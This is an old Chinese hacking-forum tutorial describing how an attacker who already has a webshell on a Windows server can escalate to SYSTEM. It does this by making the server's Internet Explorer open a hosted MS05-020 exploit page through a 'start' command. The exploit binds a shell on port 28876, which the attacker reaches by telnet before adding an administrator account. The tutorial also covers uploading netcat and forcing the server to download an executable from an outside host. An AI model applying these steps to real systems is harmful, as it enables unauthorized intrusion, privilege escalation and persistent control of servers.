作者：不詳 來源：不詳 發(fā)布時間：2005-7-6 16:57:30 發(fā)布人：天下資源網(wǎng)
增大字體
文章作者：sunlion[EST]
信息來源：中國邪惡八進制信息安全團隊 http://www.eviloctal.com
PS:好久都沒有寫文章了，今天閑著沒事（其實不是沒有事，是我比較郁悶，快考CET4了，但是心里都沒有底），隨便丟一個垃圾文章出來，希望能對大家有所幫助。
今天我要帶給大家的是，當(dāng)我們得到WEBSHELL后如何得到SYSTEM權(quán)限的新方法， 提升權(quán)限這個已經(jīng)是老生常談了，
網(wǎng)絡(luò)上已經(jīng)有很多種提升權(quán)限的方法了，在這里我就不在提了，今天我給大家介紹的是就是主動利用MS05020漏洞來達(dá)到我們提升權(quán)限的目的。
MS05020是一個IE漏洞，2005.4份的時候微軟就發(fā)步了這個公告：
安全漏洞CN-VA05-025
發(fā)布日期：2005-04-13
漏洞類型：遠(yuǎn)程執(zhí)行代碼
漏洞評估：高危
受影響版本：
Microsoft
Windows 2000 Service Pack 3 和 Microsoft
Windows 2000 Service Pack 4
Microsoft
Windows XP Service Pack 1 和 Microsoft
Windows XP Service Pack 2
Microsoft
Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft
Windows XP 64-Bit Edition Version 2003 (Itanium)
Microsoft
Windows Server 2003
Microsoft
Windows Server 2003(用于基于 Itanium 的系統(tǒng))Microsoft
Windows 98、Microsoft
Windows 98 Second Edition (SE) 和 Microsoft
Windows Millennium Edition (ME) 測試過的 Microsoft
Windows 組件：
漏洞描述：
Internet Explorer 由于其處理某些 DHTML 對象的方式而存在一個遠(yuǎn)程執(zhí)行代碼漏洞。 攻擊者可以通過構(gòu)建惡意的網(wǎng)頁來利用該漏洞。 如果某個用戶訪問了惡意
網(wǎng)站，此惡意網(wǎng)頁就可能允許遠(yuǎn)程執(zhí)行代碼。 成功利用此漏洞的攻擊者可以完全控制受影響的系統(tǒng)。Internet Explorer 由于其處理某些 URL 的方式而存在一個遠(yuǎn)程執(zhí)行代碼漏洞。 攻擊者可以通過構(gòu)建惡意的網(wǎng)頁來利用該漏洞。 如果某個用戶訪問了惡意
網(wǎng)站，此惡意網(wǎng)頁就可能允許遠(yuǎn)程執(zhí)行代碼。 成功利用此漏洞的攻擊者可以完全控制受影響的系統(tǒng)。Internet Explorer 由于其處理分級審查文件的方法而存在一個遠(yuǎn)程執(zhí)行代碼漏洞。 攻擊者可以通過構(gòu)造特制的分級審查文件來利用此漏洞。 如果用戶訪問了惡意
網(wǎng)站或查看了惡意的電子郵件，并接受安裝此惡意分級審查文件，則該文件可能允許遠(yuǎn)程執(zhí)行代碼。 成功利用此漏洞的攻擊者可以完全控制受影響的系統(tǒng)。 不過，要利用此漏洞，需要進行大量用戶交互。
大家看到上面的漏洞描述了嗎？當(dāng)被人瀏覽的時候才會受到攻擊，平時我們利用IE漏洞都是先把有攻擊性的頁面放到網(wǎng)上，然后等待別人去瀏覽，這樣瀏覽者就會中招了。
今天我們要提升權(quán)限，那自然是讓我們要提升權(quán)限的主機去瀏覽存在漏洞的頁面了，那當(dāng)我們得到WEBSHELL后怎么才能讓主機去瀏覽這個頁面呢？
Ms05020的EXP網(wǎng)頁代碼已經(jīng)出來了，大家可以到：
http://www.eviloctal.com/forum/read.php?tid=10127
去
下載，假如我們已經(jīng)把這個EXP放到http://www.xxxx.com/ms05020.html的地方，
下面我們開始利用這個EXP，進入到我們的ASP木馬，打開CMDSHELL，如果用不了的，大家自己想辦法解決（可以自己上傳一個CMD.EXE上去）。
在命令行里輸入：start http://www.xxxx.com/ms05020.html 然后點執(zhí)行。
這個時候主機的IE就會去訪問我們的這個MS05020.HTML，那么如果主機沒有打撲釘?shù)脑?，就會綁定一個28876的斷口在主機上。
接著我們輸入：netstat -an | find "28876" 看看是否成功綁定，第一次的話，會慢一些，大家要等待一下，我這里很快就成功了。然后我們telnet上去馬上就成功了
大家看到了：（我添加了一個temp的管理員）
現(xiàn)在我們已經(jīng)拿到SYSTEM權(quán)限了 ，大家還想干什么不可以？
后記：其實大家還可以先上傳NC，然后連接到本地后，再輸入：
start http://www.xxx.com/ms05020.html也是可以的。
還有就是如果可以的話還可以這樣輸入：
start “C:\Program Files\Internet Explorer\icxplore.exe” http://www.xxx.com/ms05020.htm
這個要看你的情況了，一般虛擬主機如果允許訪問的話，那還是用第一個命令好了！
我測試過在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功過！不過也有不成功的時候，而且不成功的概率很大，特別是到虛擬機的時候，有一次我沒有成功，然后我開了3389進入，發(fā)現(xiàn)IE沒有彈出來，而是出來了一個IE設(shè)置向?qū)?，也就是說這個服務(wù)器沒有對IE進行
網(wǎng)絡(luò)設(shè)置IE是無法訪問
網(wǎng)絡(luò)的，艾，其實我現(xiàn)在也沒有搞清楚是怎么會事有點能成功有點不行，想也想不通，因為start ist:http://www.xxx.com/xxx.exe總是能成功！把XXX。EXE
下載到它的
電腦上面！我最后認(rèn)為估計這個還是和MS05020.HTM這個文件有關(guān)。艾，看來這個方法的利用價值也很小了，本來不想發(fā)出來了的，既然寫出來了，還是發(fā)表出來一下吧！剛剛和無敵討論了一下，他也是說不成功的原因估計也是這個，還有就是系統(tǒng)打了IE補丁。
